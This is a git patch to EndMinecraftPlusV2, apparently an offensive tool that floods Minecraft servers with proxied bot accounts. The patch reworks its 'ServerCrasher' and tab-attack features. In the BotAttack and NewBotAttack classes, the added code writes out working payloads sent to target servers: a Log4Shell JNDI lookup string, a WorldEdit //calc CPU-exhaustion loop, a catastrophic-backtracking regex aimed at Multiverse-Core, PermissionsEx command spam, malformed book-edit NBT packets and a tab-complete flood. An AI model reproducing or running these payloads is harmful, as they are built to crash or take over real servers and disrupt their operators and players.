From f0e971aeaad8c3c63dc0260ae7349d8484abb309 Mon Sep 17 00:00:00 2001 From: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com> Date: Fri, 7 Oct 2022 01:50:43 +0800 Subject: [PATCH] =?UTF-8?q?=E6=80=A7=E8=83=BD=E4=BC=98=E5=8C=96=20ServerCr?= =?UTF-8?q?asher=E5=8A=9F=E8=83=BD=E5=AE=8C=E5=96=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../EndMinecraftPlusV2/Tools/ProxyUtil.java | 2 - .../NewVersion/AttackUtils/BotAttack.java | 251 +++++++------- .../NewVersion/AttackUtils/NewBotAttack.java | 320 ++++++++++-------- .../OldVersion/AttackUtils/BotAttack.java | 86 +++-- src/config.yml | 6 +- 5 files changed, 359 insertions(+), 306 deletions(-) diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java index 3b8fd6c..7871dba 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java @@ -4,13 +4,11 @@ import java.io.*; import java.net.InetSocketAddress; import java.net.Proxy; import java.util.ArrayList; -import java.util.HashMap; import java.util.List; import java.util.regex.Matcher; public class ProxyUtil { public static List proxies = new ArrayList<>(); - public static HashMap clientsProxy = new HashMap<>(); public static List workingProxiesList = new ArrayList<>(); public static void getProxies() { diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java index 5896cea..4dc7fd0 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java @@ -44,11 +44,11 @@ import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; public class BotAttack extends IAttack { - public static HashMap clientName = new HashMap<>(); + public static HashMap clientName = new HashMap<>(); public static int failed = 0; public static int rejoin = 0; public static int clickVerifies = 0; - public static List alivePlayers = new ArrayList<>(); + public static List alivePlayers = new ArrayList<>(); public static List rejoinPlayers = new ArrayList<>(); public static List joinedPlayers = new ArrayList<>(); public static HashMap positionPacket = new HashMap<>(); @@ -57,7 +57,6 @@ public class BotAttack extends IAttack { protected Map modList; private Thread mainThread; - private Thread tabThread; private Thread taskThread; public Set clients = new ConcurrentSet<>(); @@ -85,73 +84,113 @@ public class BotAttack extends IAttack { public void start() { setTask(() -> { while (true) { - for (Client c : clients) { - if (c.getSession().isConnected()) { - if (c.getSession().hasFlag("login")) { + List tempList = new ArrayList<>(alivePlayers); + + for (Session c:tempList) { + if (c.isConnected()) { + if (c.hasFlag("login")) { if (ConfigUtil.ChatSpam) { - c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + c.send(new ClientChatPacket(getRandMessage(clientName.get(c)))); OtherUtils.doSleep(ConfigUtil.ChatDelay); } if (ConfigUtil.RandomTeleport) { - ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession()); - if (c.getSession().isConnected() && positionRotationPacket != null) { - new Thread(() -> { - try { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - Thread.sleep(500); - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } catch (InterruptedException e) { - throw new RuntimeException(e); - } - }).start(); - } + new Thread(() -> { + ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); + if (c.isConnected() && positionRotationPacket != null) { + MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + OtherUtils.doSleep(500); + MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + } + }).start(); } - if (ConfigUtil.ServerCrasher && !c.getSession().hasFlag("crasher")) { - c.getSession().setFlag("crasher", true); + if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { + c.setFlag("crasher", true); - switch (ConfigUtil.ServerCrasherMode) { - case 1: - new Thread(() -> { - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); + LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - while (true) { - try { - ItemStack crashBook = getCrashBook(); + new Thread(() -> { + switch (ConfigUtil.ServerCrasherMode) { + case 1: + new Thread(() -> { + while (c.isConnected()) { + try { + ItemStack crashBook = getCrashBook(); - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); + out.writeShort(crashBook.getId()); + out.writeByte(crashBook.getAmount()); - NBTIO.writeTag(buf, crashBook.getNbt()); + NBTIO.writeTag(buf, crashBook.getNbt()); - byte[] crashData = buf.toByteArray(); + byte[] crashData = buf.toByteArray(); - c.getSession().send(new ClientPluginMessagePacket("MC|BEdit", crashData)); - c.getSession().send(new ClientPluginMessagePacket("MC|BSign", crashData)); + c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); + c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); - Thread.sleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} + OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); + } catch (Exception ignored) {} + } + }).start(); + break; + case 2: + String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; + c.send(new ClientChatPacket(log4jExploit)); + break; + case 3: + String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; + c.send(new ClientChatPacket(worldEdit)); + break; + case 4: + String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; + c.send(new ClientChatPacket(multiverseCore)); + break; + case 5: + String pex_1 = "/pex promote a a"; + String pex_2 = "/pex demote a a"; + while (c.isConnected()) { + c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); + OtherUtils.doSleep(2000); } - }).start(); - break; - default: - } - } - } else if (c.getSession().hasFlag("join")) { - if (ConfigUtil.RegisterAndLogin) { - for (String cmd:ConfigUtil.RegisterCommands) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); - c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); - } - LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); + break; + default: + LogUtil.doLog(1, "ServerCrasher Mode设置有误，请检查配置文件。", null); + break; + } + }).start(); } - c.getSession().setFlag("login", true); + if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { + c.setFlag("tabAttack", true); + + new Thread(() -> { + while (c.isConnected()) { + MultiVersionPacket.sendTabPacket(c, "/"); + OtherUtils.doSleep(100); + } + }).start(); + } + } else { + if (ConfigUtil.RegisterAndLogin) { + try { + for (String cmd:ConfigUtil.RegisterCommands) { + OtherUtils.doSleep(ConfigUtil.ChatDelay); + c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + } + + LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); + + c.setFlag("login", true); + } catch (Exception ignored) {} + } else { + c.setFlag("login", true); + } } + } else { + alivePlayers.remove(c); } } } @@ -182,34 +221,18 @@ public class BotAttack extends IAttack { } }); - if (this.attack_tab) { - tabThread = new Thread(() -> { - while (true) { - for (Client c : clients) { - if (c.getSession().isConnected() && c.getSession().hasFlag("login")) { - MultiVersionPacket.sendTabPacket(c.getSession(), "/"); - } - } - - OtherUtils.doSleep(10); - } - }); - } - mainThread.start(); - if (tabThread != null) - tabThread.start(); - if (taskThread != null) + if (taskThread != null) { taskThread.start(); + } } @SuppressWarnings("deprecation") public void stop() { mainThread.stop(); - if (tabThread != null) - tabThread.stop(); - if (taskThread != null) + if (taskThread != null) { taskThread.stop(); + } } public void setTask(Runnable task) { @@ -218,16 +241,14 @@ public class BotAttack extends IAttack { private void cleanClients() { for (Client client:clients) { - String username = clientName.get(client); - if (!client.getSession().isConnected()) { positionPacket.remove(client.getSession()); - alivePlayers.remove(username); - clientName.remove(client); + alivePlayers.remove(client.getSession()); + clientName.remove(client.getSession()); clients.remove(client); } else { - if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) { - alivePlayers.add(username); + if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) { + alivePlayers.add(client.getSession()); } } } @@ -246,39 +267,36 @@ public class BotAttack extends IAttack { break; } - for (String p: ProxyUtil.proxies) { - try { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - } - - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Client client = createClient(ip, port, User[0], proxy); - client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - clientName.put(client, User[0]); - clients.add(client); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); - - pool.submit(() -> { - if (this.attack_motdbefore) { - getMotd(proxy, ip, port); + while (clients.size() <= this.attack_maxconnect) { + for (String p: ProxyUtil.proxies) { + try { + if (!EndMinecraftPlusV2.isLinux) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); } - client.getSession().connect(false); - }); + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + clientName.put(client.getSession(), User[0]); + clients.add(client); - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); - } + pool.submit(() -> { + if (this.attack_motdbefore) { + getMotd(proxy, ip, port); + } - if (clients.size() > this.attack_maxconnect) { - break; + client.getSession().connect(false); + }); + + if (this.attack_joinsleep > 0) { + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); } - } catch (Exception e) { - LogUtil.doLog(1, "发生错误: " + e, null); } } } @@ -321,9 +339,7 @@ public class BotAttack extends IAttack { } public void packetReceived(Session session, Packet packet) { - new Thread(() -> { - handlePacket(session, packet, username); - }).start(); + new Thread(() -> handlePacket(session, packet, username)).start(); } public void packetSending(PacketSendingEvent packetSendingEvent) { @@ -376,10 +392,9 @@ public class BotAttack extends IAttack { rejoin++; LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); - clientName.put(rejoinClient, username); + clientName.put(rejoinClient.getSession(), username); clients.add(rejoinClient); rejoinClient.getSession().connect(false); - ProxyUtil.clientsProxy.put(client.getSession(), proxy); if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { rejoinPlayers.remove(username); @@ -395,7 +410,7 @@ public class BotAttack extends IAttack { } failed++; - alivePlayers.remove(username); + alivePlayers.remove(client.getSession()); }).start(); } }); @@ -445,8 +460,8 @@ public class BotAttack extends IAttack { joinedPlayers.add(session); - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); } MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); @@ -480,10 +495,6 @@ public class BotAttack extends IAttack { joinedPlayers.add(session); } - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); - } - if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) { LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack"); } @@ -491,8 +502,8 @@ public class BotAttack extends IAttack { ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId()); session.send(keepAlivePacket); - if (!alivePlayers.contains(username)) { - alivePlayers.add(username); + if (!alivePlayers.contains(session)) { + alivePlayers.add(session); } if (!joinedPlayers.contains(session)) { @@ -527,7 +538,7 @@ public class BotAttack extends IAttack { } public static ItemStack getCrashBook() { - ItemStack crashBook = null; + ItemStack crashBook; CompoundTag nbtTag = new CompoundTag("crashBook"); List pageList = new ArrayList<>(); diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java index 551f47b..2e47ee8 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java @@ -7,7 +7,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.A import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack; -import com.github.steveice10.mc.protocol.data.message.Message; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; @@ -36,8 +35,6 @@ import com.github.steveice10.packetlib.io.stream.StreamNetOutput; import com.github.steveice10.packetlib.packet.Packet; import io.netty.util.internal.ConcurrentSet; import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.ComponentSerializer; -import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer; import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; import java.io.ByteArrayOutputStream; @@ -54,7 +51,7 @@ public class NewBotAttack extends IAttack { public static int failed = 0; public static int rejoin = 0; public static int clickVerifies = 0; - public static List alivePlayers = new ArrayList<>(); + public static List alivePlayers = new ArrayList<>(); public static List rejoinPlayers = new ArrayList<>(); public static List joinedPlayers = new ArrayList<>(); public static HashMap positionPacket = new HashMap<>(); @@ -64,7 +61,6 @@ public class NewBotAttack extends IAttack { protected Map modList; private Thread mainThread; - private Thread tabThread; private Thread taskThread; public Set clients = new ConcurrentSet<>(); @@ -92,7 +88,9 @@ public class NewBotAttack extends IAttack { public void start() { setTask(() -> { while (true) { - for (Session c : clients) { + List tempList = new ArrayList<>(alivePlayers); + + for (Session c:tempList) { if (c.isConnected()) { if (c.hasFlag("login")) { if (ConfigUtil.ChatSpam) { @@ -110,95 +108,167 @@ public class NewBotAttack extends IAttack { } if (ConfigUtil.RandomTeleport) { - if (ProtocolLibs.adaptAfter758) { - ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c); + new Thread(() -> { + if (ProtocolLibs.adaptAfter758) { + ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c); - if (c.isConnected() && positionRotationPacket != null) { - new Thread(() -> { - try { - VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - Thread.sleep(500); - VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } catch (InterruptedException e) { - throw new RuntimeException(e); - } - }).start(); - } - } else { - ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); + if (c.isConnected() && positionRotationPacket != null) { + VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + OtherUtils.doSleep(500); + VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + } + } else { + ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); - if (c.isConnected() && positionRotationPacket != null) { - new Thread(() -> { - try { - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - Thread.sleep(500); - cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); - } catch (InterruptedException e) { - throw new RuntimeException(e); - } - }).start(); + if (c.isConnected() && positionRotationPacket != null) { + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + OtherUtils.doSleep(500); + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); + } } - } + }).start(); } if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { c.setFlag("crasher", true); - if (ProtocolLibs.adaptAfter758) { + LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); - } else { + new Thread(() -> { switch (ConfigUtil.ServerCrasherMode) { case 1: - new Thread(() -> { - LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); + while (c.isConnected()) { + try { + ItemStack crashBook = getCrashBook(); - while (true) { - try { - ItemStack crashBook = getCrashBook(); + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); + out.writeShort(crashBook.getId()); + out.writeByte(crashBook.getAmount()); - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); + NBTIO.writeTag(buf, crashBook.getNbt()); - NBTIO.writeTag(buf, crashBook.getNbt()); - - byte[] crashData = buf.toByteArray(); + byte[] crashData = buf.toByteArray(); + if (ProtocolLibs.adaptAfter758) { + c.send(new ServerboundCustomPayloadPacket("MC|BEdit", crashData)); + c.send(new ServerboundCustomPayloadPacket("MC|BSign", crashData)); + } else { c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); + } - Thread.sleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} + OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); + } catch (Exception ignored) {} + } + break; + case 2: + String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; + + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, log4jExploit); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, log4jExploit); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, log4jExploit); + } else { + c.send(new ClientChatPacket(log4jExploit)); + } + break; + case 3: + String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}"; + + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, worldEdit); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, worldEdit); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, worldEdit); + } else { + c.send(new ClientChatPacket(worldEdit)); + } + + break; + case 4: + String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^"; + + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, multiverseCore); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, multiverseCore); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, multiverseCore); + } else { + c.send(new ClientChatPacket(multiverseCore)); + } + + break; + case 5: + String pex_1 = "/pex promote a a"; + String pex_2 = "/pex demote a a"; + while (c.isConnected()) { + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2); + } else { + c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2)); } - }).start(); + + OtherUtils.doSleep(2000); + } break; default: + LogUtil.doLog(1, "ServerCrasher Mode设置有误，请检查配置文件。", null); + break; } - } + }).start(); + } + + if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) { + c.setFlag("tabAttack", true); + + new Thread(() -> { + while (c.isConnected()) { + if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendTabPacket(c, "/"); + } else { + MultiVersionPacket.sendTabPacket(c, "/"); + } + OtherUtils.doSleep(100); + } + }).start(); } } else if (c.hasFlag("join")) { if (ConfigUtil.RegisterAndLogin) { - for (String cmd:ConfigUtil.RegisterCommands) { - OtherUtils.doSleep(ConfigUtil.ChatDelay); + try { + for (String cmd:ConfigUtil.RegisterCommands) { + OtherUtils.doSleep(ConfigUtil.ChatDelay); - if (ProtocolLibs.adaptAfter760) { - VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else if (ProtocolLibs.adaptAfter759) { - VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); - } else { - c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + if (ProtocolLibs.adaptAfter760) { + VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else if (ProtocolLibs.adaptAfter759) { + VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else if (ProtocolLibs.adaptAfter758) { + VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))); + } else { + c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + } } - } - LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); + LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); + + c.setFlag("login", true); + } catch (Exception ignored) {} + } else { + c.setFlag("login", true); } - - c.setFlag("login", true); } + } else { + alivePlayers.remove(c); } } } @@ -228,38 +298,18 @@ public class NewBotAttack extends IAttack { } }); - if (this.attack_tab) { - tabThread = new Thread(() -> { - while (true) { - for (Session c : clients) { - if (c.isConnected() && c.hasFlag("login")) { - if (ProtocolLibs.adaptAfter758) { - VersionSupport758.sendTabPacket(c, "/"); - } else { - MultiVersionPacket.sendTabPacket(c, "/"); - } - } - } - - OtherUtils.doSleep(10); - } - }); - } - mainThread.start(); - if (tabThread != null) - tabThread.start(); - if (taskThread != null) + if (taskThread != null) { taskThread.start(); + } } @SuppressWarnings("deprecation") public void stop() { mainThread.stop(); - if (tabThread != null) - tabThread.stop(); - if (taskThread != null) + if (taskThread != null) { taskThread.stop(); + } } public void setTask(Runnable task) { @@ -268,16 +318,14 @@ public class NewBotAttack extends IAttack { private void cleanClients() { for (Session client:clients) { - String username = clientName.get(client); - if (!client.isConnected()) { positionPacket.remove(client); - alivePlayers.remove(username); + alivePlayers.remove(client); clientName.remove(client); clients.remove(client); } else { - if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) { - alivePlayers.add(username); + if (!alivePlayers.contains(client) && (client.hasFlag("login") || client.hasFlag("join"))) { + alivePlayers.add(client); } } } @@ -296,39 +344,36 @@ public class NewBotAttack extends IAttack { break; } - for (String p: ProxyUtil.proxies) { - try { - if (!EndMinecraftPlusV2.isLinux) { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); - } - - String[] _p = p.split(":"); - Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); - String[] User = AttackManager.getRandomUser().split("@"); - Session client = createClient(ip, port, User[0], proxy); - client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); - clientName.put(client, User[0]); - clients.add(client); - ProxyUtil.clientsProxy.put(client, proxy); - - pool.submit(() -> { - if (this.attack_motdbefore) { - getMotd(proxy, ip, port); + while (clients.size() <= this.attack_maxconnect) { + for (String p: ProxyUtil.proxies) { + try { + if (!EndMinecraftPlusV2.isLinux) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); } - client.connect(false); - }); + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Session client = createClient(ip, port, User[0], proxy); + client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); + clientName.put(client, User[0]); + clients.add(client); - if (this.attack_joinsleep > 0) { - OtherUtils.doSleep(attack_joinsleep); - } + pool.submit(() -> { + if (this.attack_motdbefore) { + getMotd(proxy, ip, port); + } - if (clients.size() > 